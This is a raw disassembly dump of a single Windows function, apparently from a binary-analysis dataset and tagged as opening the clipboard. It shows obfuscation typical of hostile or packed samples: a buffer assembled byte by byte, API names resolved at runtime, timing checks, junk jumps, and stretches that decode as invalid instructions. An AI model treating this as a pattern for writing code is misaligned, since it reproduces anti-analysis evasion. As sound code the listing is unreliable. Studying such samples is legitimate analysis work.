Function at 0x4015ea
Capabilities:
Open clipboard

Disassembly:
mov eax, 0x409c0c
call fcn.00409920
push ecx
mov eax, 0x545c
call fcn.004098f0
push ebx
push esi
push edi
mov dword [ebp - 0x10], esp
call fcn.00403b53
and dword [ebp - 4], 0
lea ecx, [ebp - 0x484]
call fcn.004056cb
lea ecx, [ebp - 0x484]
call fcn.00405738
jmp 0x40162c
or dword [ebp - 4], 0xffffffff
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x4e68], eax
mov eax, dword [ebp - 0x4e68]
mov dword [ebp - 0x488], eax
push 0x65
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x48c], eax
push 0x2328
lea ecx, [ebp - 0x598]
call fcn.00405042
cmp dword [ebp - 0x594], 0x100
jbe 0x4016b3
mov eax, dword [ebp - 0x594]
mov dword [ebp - 0x4ea8], eax
mov eax, dword [ebp - 0x598]
mov dword [ebp - 0x4ea4], eax
mov al, byte [ebp - 0x4ea0]
mov byte [ebp - 0x4e9c], al
push dword [ebp - 0x4ea4]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
call fcn.00403b8a
mov dword [ebp - 4], 2
push str.WgQIrjFBPl9fBcPWgQV6SNc5gd34rApujQTf309Pd4Twf45Yp6
lea ecx, [ebp - 0x5a4]
call fcn.0040331b
mov dword [ebp - 0x5450], eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x4ec4], eax
push str.XsfFY4nD2yQjKcwoSp9UqMcdbUDZaFETE7wTWHTZ7pos5CLUvJtVBEN0OnNAVUnSt5dc46YrTh5vKHfchRooCmYh8Z8045kh5YYDVUTxW41g2uXppteg67ybP3KK55up
push dword [ebp - 0x4ec4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x59c], eax
push 0x94ce
push dword [ebp - 0x5a4]
call fcn.0040365f
pop ecx
pop ecx
mov dword [ebp - 0x5454], eax
mov eax, dword [ebp - 0x5454]
mov dword [ebp - 0x5a0], eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x5a4]
mov dword [ebp - 0x4ee4], eax
cmp dword [ebp - 0x4ee4], 0
je 0x401745
push dword [ebp - 0x4ee4]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x40174d
or dword [ebp - 4], 0xffffffff
call fcn.00403bab
push str.N33n3DrfKAXiCqKNEENQe0k9qGQfywkEfSrKLAQE0XwDjMWpHwMAW0VsXVyN1M
lea ecx, [ebp - 0x6b8]
call fcn.00405105
cmp dword [ebp - 0x6b4], 0x105
jbe 0x401789
push dword [ebp - 0x6b4]
push dword [ebp - 0x6b8]
lea ecx, [ebp - 0x6b8]
call fcn.00405e1a
lea ecx, [ebp - 0x6c8]
call fcn.004039b9
push 6
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x6cc], eax
mov eax, dword [ebp + 8]
mov byte [eax], 0x86
mov eax, dword [ebp + 8]
mov byte [eax + 1], 0xaa
mov eax, dword [ebp + 8]
mov byte [eax + 2], 0x5c
push 0x10
call dword [sym.imp.MSVCRT.dll_tolower]
pop ecx
je 0x4017d0
jne 0x4017d0
jmp 0x4017d0
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x6d0], eax
mov eax, dword [ebp + 8]
mov byte [eax + 3], 0x48
mov eax, dword [ebp + 8]
mov byte [eax + 4], 0x84
mov eax, dword [ebp + 8]
mov byte [eax + 5], 0x33
push str.k77MUoirAdEyjLvf7fxlRtd5kHxqNwx18gdeoIklVUjmI78CDP7YqvERB6iUb
call fcn.00405e95
pop ecx
mov dword [ebp - 0x4e6c], eax
mov dword [ebp - 4], 5
push 0x20019
lea eax, [ebp - 0x4e6c]
push eax
push SysReAllocString
lea ecx, [ebp - 0x6dc]
call fcn.004050bf
mov byte [ebp - 4], 7
cmp dword [ebp - 0x4e6c], 0
je 0x401846
push dword [ebp - 0x4e6c]
call fcn.00405f4f
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x6dc]
call fcn.00405843
mov eax, dword [ebp + 8]
mov byte [eax + 6], 0x63
mov eax, dword [ebp + 8]
mov byte [eax + 7], 0x88
mov eax, dword [ebp + 8]
mov byte [eax + 8], 0x97
call fcn.00403be3
mov eax, dword [ebp + 8]
mov byte [eax + 9], 0x32
mov eax, dword [ebp + 8]
mov byte [eax + 0xa], 0x25
mov eax, dword [ebp + 8]
mov byte [eax + 0xb], 0x4f
push 0x5d
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
je 0x40189d
jne 0x40189d
jmp 0x40189d
mov eax, dword [ebp + 8]
mov byte [eax + 0xc], 0x3d
mov eax, dword [ebp + 8]
mov byte [eax + 0xd], 0xa
mov eax, dword [ebp + 8]
mov byte [eax + 0xe], 0xec
push 0x2328
lea ecx, [ebp - 0x7e4]
call fcn.00405042
cmp dword [ebp - 0x7e0], 0x100
jbe 0x4018fe
mov eax, dword [ebp - 0x7e0]
mov dword [ebp - 0x4f68], eax
mov eax, dword [ebp - 0x7e4]
mov dword [ebp - 0x4f64], eax
mov al, byte [ebp - 0x4f60]
mov byte [ebp - 0x4f5c], al
push dword [ebp - 0x4f64]
call sub.MSVCRT.dll_void___cdecl_operator_delete_void__
pop ecx
je 0x40190c
jne 0x40190c
jmp 0x40190e
mov eax, dword [ebp + 8]
mov byte [eax + 0xf], 0xd
mov eax, dword [ebp + 8]
mov byte [eax + 0x10], 0x22
or dh, al
inc eax
prefetchw byte [ebx + 0x40c60845]
adc byte [edx], ah
mov eax, dword [ebp + 8]
mov byte [eax + 0x11], 0x24
je 0x401937
jne 0x401937
jmp 0x401948
push 0xe0bf
push 0x29
lea eax, [ebp - 0x814]
push eax
call fcn.0040622b
add byte [eax], al
add esp, 0xc
mov dword [ebp - 0x7e8], eax
je 0x401963
jne 0x401963
jmp 0x401963
call fcn.004032cb
mov eax, dword [ebp + 8]
mov byte [eax + 0x12], 0x6a
mov eax, dword [ebp + 8]
mov byte [eax + 0x13], 0x1d
mov eax, dword [ebp + 8]
mov byte [eax + 0x14], 0x76
push 0x6b
call dword [sym.imp.MSVCRT.dll_isgraph]
pop ecx
call fcn.00403c4c
call fcn.004032cb
je 0x4019aa
jne 0x4019aa
jmp 0x4019b7
mov eax, dword [ebp + 8]
mov byte [eax + 0x15], 0x17
mov eax, dword [ebp + 8]
mov byte [eax + 0x16], 0x93
xchg ebx, eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x17], 0xc2
push 0x6f
call dword [sym.imp.MSVCRT.dll_isxdigit]
pop ecx
push 0x30
push str.r0hWENGbWIAA0iqcFcXKq9Ufq
push str.XSXuRFdE8exZJr5eOfRs5Y2CxHc0Ay
lea ecx, [ebp - 0x9b4]
call fcn.0040574f
lea ecx, [ebp - 0x9b4]
call fcn.004057d0
je 0x401a02
jne 0x401a02
jmp 0x401a11
push str.qUXy7GmDCCxVDMHvv0sRGC
lea ecx, [ebp - 0xac8]
call fcn.00405105
cmp dword [ebp - 0xac4], 0x105
jbe 0x401a35
add byte [ecx - 0xac343], al
inc dword [0x76000001]
pop ss
push dword [ebp - 0xac4]
push dword [ebp - 0xac8]
lea ecx, [ebp - 0xac8]
call fcn.00405e1a
mov eax, dword [ebp + 8]
mov byte [eax + 0x18], 0x3b
mov eax, dword [ebp + 8]
mov byte [eax + 0x19], 0xf0
mov eax, dword [ebp + 8]
mov byte [eax + 0x1a], 0x2b
push 0x24
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
call fcn.00405ad0
push eax
push 0x410fe8
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x4e70], eax
mov eax, dword [ebp - 0x4e70]
mov dword [ebp - 0xad0], eax
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x4e74], eax
mov eax, dword [ebp - 0x4e74]
mov dword [ebp - 0xad4], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x1b], 0x72
mov eax, dword [ebp + 8]
mov byte [eax + 0x1c], 0xb3
mov eax, dword [ebp + 8]
mov byte [eax + 0x1d], 0x7f
push 0xe
call dword [sym.imp.MSVCRT.dll_isspace]
pop ecx
push 6
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0xad8], eax
call fcn.004032cb
push str.gnFFYLgF1QMMsVJIh5H4GWCghqHwhoUOTHD
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xadc], eax
push dword [ebp - 0xadc]
push 0x410fc0
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x1e], 0xa1
mov eax, dword [ebp + 8]
mov byte [eax + 0x1f], 7
mov eax, dword [ebp + 8]
mov byte [eax + 0x20], 0x3e
push 0xb
call dword [sym.imp.MSVCRT.dll_isalnum]
pop ecx
push 0x74
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
call fcn.00403ca5
mov eax, dword [ebp + 8]
mov byte [eax + 0x21], 0x30
mov eax, dword [ebp + 8]
mov byte [eax + 0x22], 0x81
mov eax, dword [ebp + 8]
mov byte [eax + 0x23], 0x15
push 0
call dword [sym.imp.USER32.dll_OpenClipboard]
neg eax
sbb eax, eax
neg eax
mov byte [ebp - 0xae0], al
movzx eax, byte [ebp - 0xae0]
test eax, eax
je 0x401b56
call dword [sym.imp.USER32.dll_CloseClipboard]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea eax, [ebp - 0xae8]
mov dword [ebp - 0x4f94], eax
mov eax, dword [ebp - 0x4f94]
mov dword [ebp - 0x4f98], eax
push dword [ebp - 0x4f98]
call dword [sym.imp.KERNEL32.DLL_QueryPerformanceCounter]
mov eax, dword [ebp + 8]
mov byte [eax + 0x24], 1
mov eax, dword [ebp + 8]
mov byte [eax + 0x25], 0xf8
mov eax, dword [ebp + 8]
mov byte [eax + 0x26], 0xfa
call fcn.00403d1d
push 0x25
call dword [sym.imp.MSVCRT.dll_tolower]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x27], 0x83
mov eax, dword [ebp + 8]
mov byte [eax + 0x28], 0xb2
mov eax, dword [ebp + 8]
mov byte [eax + 0x29], 0x8a
push str.J5JIXdGdJYHFg8rWS4pxGbOSfAoCe0knZqmR8aYnA4052ITruceYmerCpvb9MbK9NxqpKu4u6Ux6mUKXE
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0xaf4], eax
push dword [ebp - 0xaf4]
push 0x410fc0
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x2a], 0xe
mov eax, dword [ebp + 8]
mov byte [eax + 0x2b], 0x1f
mov eax, dword [ebp + 8]
mov byte [eax + 0x2c], 0x65
je 0x401c0d
jne 0x401c0d
jmp 0x401c1a
mov eax, dword [ebp + 8]
mov byte [eax + 0x2d], 0x46
mov eax, dword [ebp + 8]
mov byte [eax + 0x2e], 0xce
into
mov eax, dword [ebp + 8]
mov byte [eax + 0x2f], 0xd3
mov dword [ebp - 4], 8
push str.MLm4oeANHkcSoNuFA8k2ogxlMn4jni7JnggAONLjOnxJhVtZGocJL4yBIIe3y9SXHOJDDDJumbphyLZTcTum3tF0c3J
lea ecx, [ebp - 0xb0c]
call fcn.004036a8
lea ecx, [ebp - 0xb0c]
call fcn.004036ea
jmp 0x401c4c
or dword [ebp - 4], 0xffffffff
call fcn.00403d30
push 0
lea ecx, [ebp - 0xc20]
call fcn.004054c9
cmp dword [ebp - 0xc1c], 0x105
jbe 0x401c85
push dword [ebp - 0xc1c]
push dword [ebp - 0xc20]
lea ecx, [ebp - 0xc20]
call fcn.00405e1a
mov eax, dword [ebp + 8]
mov byte [eax + 0x30], 0xf2
mov eax, dword [ebp + 8]
mov byte [eax + 0x31], 0x19
mov eax, dword [ebp + 8]
mov byte [eax + 0x32], 4
push 0
lea ecx, [ebp - 0xd34]
call fcn.004054c9
cmp dword [ebp - 0xd30], 0x105
jbe 0x401cca
push dword [ebp - 0xd30]
push dword [ebp - 0xd34]
lea ecx, [ebp - 0xd34]
call fcn.00405e1a
je 0x401ce0
jne 0x401ce0
jmp 0x401cf1
push str.VHwi6hQLmQsy7KtqAh6ZUJNb5Y6wkrpeQomLTYSg9BoWdZYNjeKQ2X9DDugEyM8pt
call fcn.00405e95
pop ecx
mov dword [ebp - 0x4e78], eax
mov dword [ebp - 4], 0xa
push 0x20019
lea eax, [ebp - 0x4e78]
push eax
push SysReAllocString
lea ecx, [ebp - 0xd3c]
call fcn.004050bf
mov byte [ebp - 4], 0xc
cmp dword [ebp - 0x4e78], 0
je 0x401d2d
push dword [ebp - 0x4e78]
call fcn.00405f4f
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0xd3c]
call fcn.00405843
mov eax, dword [ebp + 8]
mov byte [eax + 0x33], 0xd9
mov eax, dword [ebp + 8]
mov byte [eax + 0x34], 0x80
mov eax, dword [ebp + 8]
mov byte [eax + 0x35], 0x91
call fcn.00403db0
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0xd40], eax
call fcn.00403e31
push 0x79
call dword [sym.imp.MSVCRT.dll_isalnum]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x36], 0x36
mov eax, dword [ebp + 8]
mov byte [eax + 0x37], 0x37
mov eax, dword [ebp + 8]
mov byte [eax + 0x38], 0x8f
call fcn.00403e8c
call fcn.00403b1b
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0xd48], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x39], 0x6d
mov eax, dword [ebp + 8]
mov byte [eax + 0x3a], 0x21
mov eax, dword [ebp + 8]
mov byte [eax + 0x3b], 0xfd
call fcn.00403ec4
push 0
lea ecx, [ebp - 0xe60]
call fcn.004054c9
cmp dword [ebp - 0xe5c], 0x105
jbe 0x401df5
push dword [ebp - 0xe5c]
push dword [ebp - 0xe60]
lea ecx, [ebp - 0xe60]
call fcn.00405e1a
push 0x30
push str.VrJ6vY4B070OG2tk7Il1xjvteS37BUYMjPFPX1FVf
push str.0wBLJ48BkXFTZtpqJGLZVntPigxyZJXAC2vB1BTkVgY9ENWHcl7WMKu4oIyPTaFv3L
lea ecx, [ebp - 0x1000]
call fcn.0040574f
lea ecx, [ebp - 0x1000]
call fcn.004057d0
push 0xddde
push 0x29
lea eax, [ebp - 0x1030]
push eax
call fcn.0040622b
add esp, 0xc
mov dword [ebp - 0x1004], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x3c], 0x14
mov eax, dword [ebp + 8]
mov byte [eax + 0x3d], 0x8b
mov eax, dword [ebp + 8]
mov byte [eax + 0x3e], 8
push 0x1a
call dword [sym.imp.MSVCRT.dll_isspace]
pop ecx
call fcn.00403f54
push 4
call sub.MSVCRT.dll_void____cdecl_operator_new_unsigned_int_
pop ecx
mov dword [ebp - 0x4e7c], eax
mov eax, dword [ebp - 0x4e7c]
mov dword [ebp - 0x1034], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x3f], 0x7c
mov eax, dword [ebp + 8]
mov byte [eax + 0x40], 0xc5
mov eax, dword [ebp + 8]
mov byte [eax + 0x41], 0xc
call fcn.00403f9c
mov dword [ebp - 4], 0xd
push str.6PNcYKmE2ckaar4oBoZiZTNCMJjmqBuhROPCagGLErvtY79oYqhOElbQqXHRGRvnScAxhJ6RmlVKChQcJKCTIq
lea ecx, [ebp - 0x104c]
call fcn.004036a8
lea ecx, [ebp - 0x104c]
call fcn.004036ea
jmp 0x401eb4
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
mov byte [eax + 0x42], 0x5e
mov eax, dword [ebp + 8]
mov byte [eax + 0x43], 0xd0
mov eax, dword [ebp + 8]
mov byte [eax + 0x44], 0x71
push 0x7c
call dword [sym.imp.MSVCRT.dll_tolower]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x45], 0xc9
mov eax, dword [ebp + 8]
mov byte [eax + 0x46], 0x13
mov eax, dword [ebp + 8]
mov byte [eax + 0x47], 0x41
call dword [sym.imp.KERNEL32.DLL_GetProcessHeap]
mov dword [ebp - 0x1050], eax
push 0x30
push str.kNOJxWvcSLINTGxexvYYaB2R5VhvFca3xdr8voCw50uuNCdMJqxK637a6reWNYaOlFL9y3hj
push 0x410db4
lea ecx, [ebp - 0x11f0]
call fcn.0040574f
lea ecx, [ebp - 0x11f0]
call fcn.004057d0
call fcn.00404023
push 0x36
call dword [sym.imp.MSVCRT.dll_ispunct]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x48], 0x2d
mov eax, dword [ebp + 8]
mov byte [eax + 0x49], 0x74
mov eax, dword [ebp + 8]
mov byte [eax + 0x4a], 0x3a
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x11f8], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x1218]
call fcn.004038ed
call fcn.004040a9
mov word [ebp - 0x1220], 0x61
mov eax, dword [sym.imp.MSVCRT.dll___mb_cur_max]
push dword [eax]
call dword [sym.imp.MSVCRT.dll_malloc]
pop ecx
mov dword [ebp - 0x121c], eax
push dword [ebp - 0x1220]
push dword [ebp - 0x121c]
call dword [sym.imp.MSVCRT.dll_wctomb]
pop ecx
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x4b], 0xe7
mov eax, dword [ebp + 8]
mov byte [eax + 0x4c], 0xee
mov eax, dword [ebp + 8]
mov byte [eax + 0x4d], 0xdd
call fcn.00404142
je 0x401fb9
in eax, dx
invalid
jne 0x401fb9
jmp 0x401fbb
mov eax, dword [ebp + 8]
mov byte [eax + 0x4e], 0x35
mov eax, dword [ebp + 8]
mov byte [eax + 0x4f], 0x75
mov eax, dword [ebp + 8]
mov byte [eax + 0x50], 6
or dh, al
inc eax
dec esi
xor eax, 0xc608458b
inc eax
dec edi
jne 0x401f53
inc ebp
or dh, al
inc eax
push eax
push es
push 1
call dword [sym.imp.MSVCRT.dll_strerror]
pop ecx
push str.1EQ7MGrbZ8S2VZrwxINuApVqVdellRLm5VcHS7i0ROpGlDyFLamXxVXxZAqlDkUsA6s613j2LD8dqW3EuKksyRgy2E1U9Zi2WwQ1I4qnQXuLct
call sub.MSVCRT.dll_strlen
pop ecx
mov dword [ebp - 0x1224], eax
push dword [ebp - 0x1224]
push 0x410fc0
call dword [sym.imp.MSVCRT.dll_printf]
pop ecx
pop ecx
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x122c], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x124c]
call fcn.004038ed
mov eax, dword [ebp + 8]
mov byte [eax + 0x51], 0xed
mov eax, dword [ebp + 8]
mov byte [eax + 0x52], 0xb0
mov eax, dword [ebp + 8]
mov byte [eax + 0x53], 0x58
call fcn.0040429e
mov eax, dword [ebp + 8]
mov byte [eax + 0x54], 0x5d
mov eax, dword [ebp + 8]
mov byte [eax + 0x55], 0xd7
mov eax, dword [ebp + 8]
mov byte [eax + 0x56], 0x4a
call fcn.004038c5
je 0x402064
jne 0x402064
jmp 0x402075
push 0x5e
call dword [sym.imp.MSVCRT.dll_isxdigit]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x57], 0x7a
mov eax, dword [ebp + 8]
mov byte [eax + 0x58], 0xa3
mov eax, dword [ebp + 8]
mov byte [eax + 0x59], 0x61
inc ebp
or dh, al
inc eax
pop eax
mov dword [0xc608458b], eax
inc eax
pop ecx
popal
call fcn.0040435b
mov eax, dword [ebp + 8]
mov byte [eax + 0x5a], 0xf7
mov eax, dword [ebp + 8]
mov byte [eax + 0x5b], 0xc1
mov eax, dword [ebp + 8]
mov byte [eax + 0x5c], 0xdc
call dword [sym.imp.KERNEL32.DLL_GetCurrentThread]
mov dword [ebp - 0x1254], eax
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x1274]
call fcn.004038ed
call fcn.0040440d
mov eax, dword [ebp + 8]
mov byte [eax + 0x5d], 0xbe
mov eax, dword [ebp + 8]
mov byte [eax + 0x5e], 0xd6
mov eax, dword [ebp + 8]
mov byte [eax + 0x5f], 0x34
je 0x4020ef
jne 0x4020ef
jmp 0x4020fc
push 6
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
push 0x30
push str.tLt9sW7io3VdNtbiwVuT2D5l4uTDAGrD0hmFZ6bmMGc3V2pH04qZ
push str.dxBeN3Ay3my9C3CQd3xeVsSYnJx480mtSdqgkUHb6HLwrUjQFQmv1wxgWONCrOrR5m8yng7E8TgvcF92VvdMED6JCN0VWvimUax53NWlvh
lea ecx, [ebp - 0x1414]
call fcn.0040574f
lea ecx, [ebp - 0x1414]
call fcn.004057d0
mov eax, dword [ebp + 8]
mov byte [eax + 0x60], 0xd5
mov eax, dword [ebp + 8]
mov byte [eax + 0x61], 0xa9
mov eax, dword [ebp + 8]
mov byte [eax + 0x62], 0x42
je 0x40213d
or eax, 0xa0680041
or al, 0x41
add byte [ebp - 0x141373], cl
invalid
jne 0x40213d
jmp 0x40213f
mov eax, dword [ebp + 8]
mov byte [eax + 0x63], 0x11
or dh, al
inc eax
arpl word [ecx], dx
mov eax, dword [ebp + 8]
mov byte [eax + 0x64], 0x79
mov eax, dword [ebp + 8]
mov byte [eax + 0x65], 0xe8
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
lea ecx, [ebp - 0x1434]
call fcn.0040390e
mov eax, dword [ebp + 8]
mov byte [eax + 0x66], 2
mov eax, dword [ebp + 8]
mov byte [eax + 0x67], 0xbd
mov eax, dword [ebp + 8]
mov byte [eax + 0x68], 0x10
mov dword [ebp - 4], 0xf
lea ecx, [ebp - 0x18a8]
call fcn.004056cb
lea ecx, [ebp - 0x18a8]
call fcn.00405738
jmp 0x40219f
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
mov byte [eax + 0x69], 0xea
mov eax, dword [ebp + 8]
mov byte [eax + 0x6a], 0x43
mov eax, dword [ebp + 8]
mov byte [eax + 0x6b], 0xf6
call fcn.004044a5
call fcn.00404559
push str.cXq64mYSYtQClcPVxk0nI
call fcn.00403953
pop ecx
mov dword [ebp - 0x18ac], eax
push dword [ebp - 0x18ac]
call dword [sym.imp.OLEAUT32.dll_SysStringLen]
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.WINMM.dll_timeGetTime]
mov dword [ebp - 0x18b0], eax
mov eax, dword [ebp + 8]
mov byte [eax + 0x6c], 0xb5
mov eax, dword [ebp + 8]
mov byte [eax + 0x6d], 0x96
mov eax, dword [ebp + 8]
mov byte [eax + 0x6e], 0xf4
push 5
push 5
push 5
lea ecx, [ebp - 0x18c4]
call fcn.004057e8
lea ecx, [ebp - 0x18c4]
call fcn.0040583a
call fcn.004032cb
and dword [ebp - 0x18d4], 0
lea eax, [ebp - 0x18d0]
mov dword [ebp - 0x50f4], eax
mov eax, dword [ebp - 0x50f4]
and dword [eax], 0
and dword [ebp - 0x18cc], 0
and byte [ebp - 0x18c8], 0
lea ecx, [ebp - 0x18d4]
call fcn.00405843
mov eax, dword [ebp + 8]
mov byte [eax + 0x6f], 0xc7
mov eax, dword [ebp + 8]
mov byte [eax + 0x70], 0xae
mov eax, dword [ebp + 8]
mov byte [eax + 0x71], 0xe3
call fcn.00404614
push 0x30
push str.3fZEj2hK3EIcFl2f1MVILm6ukeJtM9i843cnZ0120Wo4IaSm4OOqWkQJEGPfU
push str.TGSx6ZYCM6hwEavV3CY
lea ecx, [ebp - 0x1a74]
call fcn.0040574f
lea ecx, [ebp - 0x1a74]
call fcn.004057d0
mov dword [ebp - 4], 0x11
push str.79H7wZwHDI38oxEA69bG9f9jW0QyX20OsljdcnUb81HgKWnoU1NMgMTIhSh3nBAjkcAaxbtetx216X
lea ecx, [ebp - 0x1a80]
call fcn.0040331b
mov dword [ebp - 0x5458], eax
mov byte [ebp - 4], 0x12
mov eax, dword [ebp - 0x1a80]
mov dword [ebp - 0x512c], eax
push str.eFy6EmZc4105Lhj36ojQFqV18b0Y7adet38AnqZqbl9BbOANG1H3jIvAxLJA0XkLVPoNhsauBLUtE9NuuAHF4
push dword [ebp - 0x512c]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x1a78], eax
push 0xa62a
push dword [ebp - 0x1a80]
call fcn.0040365f
pop ecx
pop ecx
mov dword [ebp - 0x545c], eax
mov eax, dword [ebp - 0x545c]
mov dword [ebp - 0x1a7c], eax
mov byte [ebp - 4], 0x11
mov eax, dword [ebp - 0x1a80]
mov dword [ebp - 0x514c], eax
cmp dword [ebp - 0x514c], 0
je 0x402327
push dword [ebp - 0x514c]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x40232f
or dword [ebp - 4], 0xffffffff
mov eax, dword [ebp + 8]
mov byte [eax + 0x72], 0x54
mov eax, dword [ebp + 8]
mov byte [eax + 0x73], 0xb6
mov eax, dword [ebp + 8]
mov byte [eax + 0x74], 0xde
push 0x4e
call dword [sym.imp.MSVCRT.dll_isalpha]
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x75], 0x8e
mov eax, dword [ebp + 8]
mov byte [eax + 0x76], 0x4c
mov eax, dword [ebp + 8]
mov byte [eax + 0x77], 0x2a
push 0x64
call dword [sym.imp.KERNEL32.DLL_Sleep]
call dword [sym.imp.KERNEL32.DLL_GetTickCount]
mov dword [ebp - 0x1a84], eax
je 0x402388
jne 0x402388
jmp 0x4023d1
call fcn.00405b06
push eax
call sub.MSVCRT.dll_strlen
pop ecx
mov eax, dword [ebp + 8]
mov byte [eax + 0x78], 0xac
mov eax, dword [ebp + 8]
mov byte [eax + 0x79], 0x7d
mov eax, dword [ebp + 8]
mov byte [eax + 0x7a], 0x73
lea ecx, [ebp - 0x1ba0]
call fcn.00405863
cmp dword [ebp - 0x1b9c], 0x105
jbe 0x4023d7
push dword [ebp - 0x1b9c]
push dword [ebp - 0x1ba0]
lea ecx, [ebp - 0x1ba0]
call fcn.00405e1a
invalid
push str.JjRJ46x22qOaJsNHDvMW7FWcI995AZqnsKPn4rwLy0JVj8hBGG9mDHTGQPea3X8BAYKdMvtjdUaj5LqExF
call fcn.00405e95
pop ecx
mov dword [ebp - 0x4e80], eax
mov dword [ebp - 4], 0x14
push 0x20019
lea eax, [ebp - 0x4e80]
push eax
push SysReAllocString
lea ecx, [ebp - 0x1ba8]
call fcn.004050bf
mov byte [ebp - 4], 0x16
cmp dword [ebp - 0x4e80], 0
je 0x402424
push dword [ebp - 0x4e80]
call fcn.00405f4f
pop ecx
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x1ba8]
call fcn.00405843
call fcn.004046a2
mov eax, dword [ebp + 8]
mov byte [eax + 0x7b], 0x85
mov eax, dword [ebp + 8]
mov byte [eax + 0x7c], 0xfe
mov eax, dword [ebp + 8]
mov byte [eax + 0x7d], 5
call fcn.004038c5
call fcn.004046d5
mov eax, dword [ebp + 8]
mov byte [eax + 0x7e], 0xf5
mov eax, dword [ebp + 8]
mov byte [eax + 0x7f], 0x18
mov eax, dword [ebp + 8]
mov byte [eax + 0x80], 0x53
mov dword [ebp - 4], 0x17
push str.Elkpvy2HoPbXNZnwxfd2GTKYvRvyJGZpul8Q6bqG
lea ecx, [ebp - 0x1bb4]
call fcn.0040331b
mov dword [ebp - 0x5460], eax
mov byte [ebp - 4], 0x18
mov eax, dword [ebp - 0x1bb4]
mov dword [ebp - 0x51b4], eax
push str.UjBaq1jM0uSInQYLG6B9i2Xr4yGggLYkDTJEM8ESR2KJo4LQMfZCp1f5e56o6CFd4gQZACLUh7Eo37IyGCpQ1k
push dword [ebp - 0x51b4]
call dword [sym.imp.KERNEL32.DLL_GetProcAddress]
mov dword [ebp - 0x1bac], eax
push 0xacf
push dword [ebp - 0x1bb4]
call fcn.0040365f
pop ecx
pop ecx
mov dword [ebp - 0x5464], eax
mov eax, dword [ebp - 0x5464]
mov dword [ebp - 0x1bb0], eax
mov byte [ebp - 4], 0x17
mov eax, dword [ebp - 0x1bb4]
mov dword [ebp - 0x51d4], eax
cmp dword [ebp - 0x51d4], 0
je 0x4024fc
push dword [ebp - 0x51d4]
call dword [sym.imp.KERNEL32.DLL_FreeLibrary]
jmp 0x402504
or dword [ebp - 4], 0xffffffff
je 0x402516
jne 0x402516
jmp 0x402518
mov eax, dword [ebp + 8]
mov byte [eax + 0x81], 0x95
mov eax, dword [ebp + 8]
mov byte [eax + 0x82], 0xc3
mov eax, dword [ebp + 8]
mov byte [eax + 0x83], 9
push str.llKsctAXIqIHphDYlmZOtMaQXTrxKCEQyMwSOaH9LRrvrCjQk1kNDJojCuhHLbTNifoOuLSfgwy1wvF4Qn7yfdiJyLp1xtQrydcA
or dh, al
add byte [ecx - 0x6b000000], 0x8b
inc ebp
or dh, al
add byte [edx - 0x3d000000], 0x8b
inc ebp
or dh, al
